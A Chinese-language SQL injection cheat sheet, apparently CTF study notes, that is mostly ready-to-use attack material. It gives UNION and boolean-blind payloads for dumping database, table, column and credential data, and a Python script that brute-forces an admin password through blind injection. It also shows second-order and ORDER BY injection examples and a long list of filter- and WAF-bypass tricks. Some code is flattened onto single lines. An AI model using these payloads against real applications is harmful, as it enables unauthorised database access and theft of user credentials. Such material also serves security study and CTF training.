字符型注入:(单引号没报错尝试双引号) www.xxx.com/ccc.php?id=1’ and ‘1’='1 页面正常,继续下一步 www.xxx.com/ccc.php?id=1’ and ‘1’='2 页面报错,则说明存在字符型注入。
## 被过滤时可以用fuzz测试过滤内容
一次注入
联合注入
1 2 3 4 5 6 7 8 9 10 11 12 13
payload: 1.判断数字型注入还是字符型注入 2.测试字段个数 1' order by 3 #; (回显正常)即执行: SELECT id,user,password FROM sql_bug WHERE id = ' 1 ' order by 3 #' limit 1 1' order by 4 #; (回显错误)即执行: SELECT id,user,password FROM sql_bug WHERE id = ' 1 ' order by 4 #' limit 1 3.爆出库名 union select 1,2,database() # 有时候需要查看其他数据库名 0 union select 1,group_concat(schema_name) from information_schema.schemata# 4.爆出表名 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() # 5.爆出字段名 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’’ # 6.查询最终的数据 union select group_concat(字段名)from 表名
?id=1’and 1=1 /and 1=2 尝试后页面有变化 确定数据库长度:?Id=1’ and length((database()))=8 --+ 确定数据库名称:?id=1’ and ascii(substring(database(),1,1))=115--+ 确定表的个数:?id=1’ and length(((select concat_ws(0x7e,table_name) from%20information_schema.tables where table_schema=database() limit 4,1)))>1--+ 确定每个表的长度:?id=1’ and length(((select concat_ws(0x7e,table_name) from information_schema.tables where table_schema=database() limit 0,1)))=6--+ 确定每个表达名称:?id=1’ and ascii(substring((select concat_ws(0x7e,table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+ 确定每一列的长度:?id=1' and length(((select concat_ws(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))=2--+ 确定每一列的名称:?id=1' and ascii(substring((select concat_ws(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)) =105--+ 确定数据:?id=1' and ascii(substring((select concat_ws(0x7e,username,password) from users limit 0,1),1,1)) =68--+
while True: flag = True for i in alpha: post_data = {"username": "admin", "password": f"1'/**/or/**/password/**/like/**/'{pswd + i}%'#"} response = requests.post(url, data=post_data) time.sleep(0.1) if "something" not in response.text: pswd += i print(pswd) flag = False break
if flag: break
二次注入
二次注入需要先把注入的语句写入数据库,等下一次查询到该语句是再的新的语句构成注入
一般注入点在有写入数据库的位置,注入的东西要结合查询语句去构造
INSERT INTO 注入
1
INSERT INTO users (username,password) values ('%s', '%s')", $_POST["username"], $_POST["password"]
由于输入的数据直接拼接到mysql语句中,并且没有做过滤,就会导致恶意sql语句注入
1
username=abc',HEX(SUBSTR((SELECT password FROM (SELECT * FROM users)tmp WHERE username='admin'),1,1)))-- &password=1
注意:要有引号闭合,最后要多一个)闭合,注释符:-- ,因为对大小写不敏感,所以用hex编码来区分
将要查找的值读完存起来,再想方法把值读出来
ORDER BY 爆破密码
看一道HKCERT CTF2023 的题目
有注入点的代码
1
cursor.execute(f"SELECT username, publicnote FROM users ORDERBY {column} {ascending};")
import base64 one = '89' two = '34' three = '34' four = '67' five = '89' six = '89' senve = '34' eight = '89' nine = '45' ten = '67' eleven = '34' twe = '78' thir = '12' fort = '12' fif = '12' sist = '01'
for a in one: for b in two: for c in three: for d in four: for e in five: for f in six: for g in senve: for h in eight: for i in nine: for j in ten: for k in eleven: for l in twe: for m in thir: for n in fort: for o in fif: for p in sist: payload = a + b + c + d + e + f + g + h + i + j + k + l + m + n + o + p username = "Administrator" password = payload header = {"Content-Type": "application/json"} token = base64.b64encode( f"{username}:{password}".encode()).decode() fi = open("password.txt", "a") fi.write(password+'\n') fi.close() fi = open("token.txt", "a") fi.write(token+'\n') fi.close() #8446993857382221
进阶
应对各种过滤技巧
过滤空格
注释符/**/绕过
1
SELECT/**/name/**/FROM/**/table
用Tab代替空格
%20绕过
1
SELECT%20name%20FROM%20table
使用url编码绕过
1
%a0 发出去就是空格的意思,但是需要在burp中抓包后修改
使用回车替代
1
回车的ascii为chr(13)&chr(10),url编码为%0d%0a
双空格
1
适用于过滤是替换一个空格
用括号绕过
1
select(user())from dual where(1=1)and(2=2)
过滤引号
%27代替引号
十六进制绕过
1
原语句:select column_name from information_schema.tables where table_name=0x7573657273 //hex(users) 只能对参数使用
ASCII码绕过
1
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
过滤等于号
1 2
用 like 代替 :a=b --->>> a like b regexp 代替等于号 a regexp b ,regexp是正则
过滤逗号
使用from关键字绕过
对于substr()和mid()这两个方法可以使用from to的方式来解决
1 2
select substr(database() from 1 for 1); select mid(database() from 1 for 1);
使用join关键字绕过
1 2 3
union select 1,2 等价于 union select * from (select 1)a join (select 2)b
使用offset关键字绕过
对于limit可以使用offset来绕过:
1 2 3
select * from news limit 0,1 等价于 select * from news limit 1 offset 0
过滤注释符(#和–+)
1 2 3
1)最后的or '1闭合查询语句的最后的单引号:id=1' union select 1,2,3||'1 2)%23绕过 3);%00绕过
过滤关键字
分割关键字
1
用/**/,<> 分割:sel<>ect、sel/**/ect
使用加号+拆解字符串
1
or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )
union select group_concat(table_name)from mysql.innodb_index_stats where database_name=database() union select group_concat(table_name)from mysql.innodb_table_stats where database_name=database()
select table_name from sys.schema_table_statistics_with_buffer where table_schema = database() select table_name from sys.schema_auto_increment_columns where table_schema ='ctf'
原理:通过联合查询构造虚拟表将数据外带,通过自定义列名,再从虚拟表中查询
1
select `2` from (select 1,2,3 union select * from test)n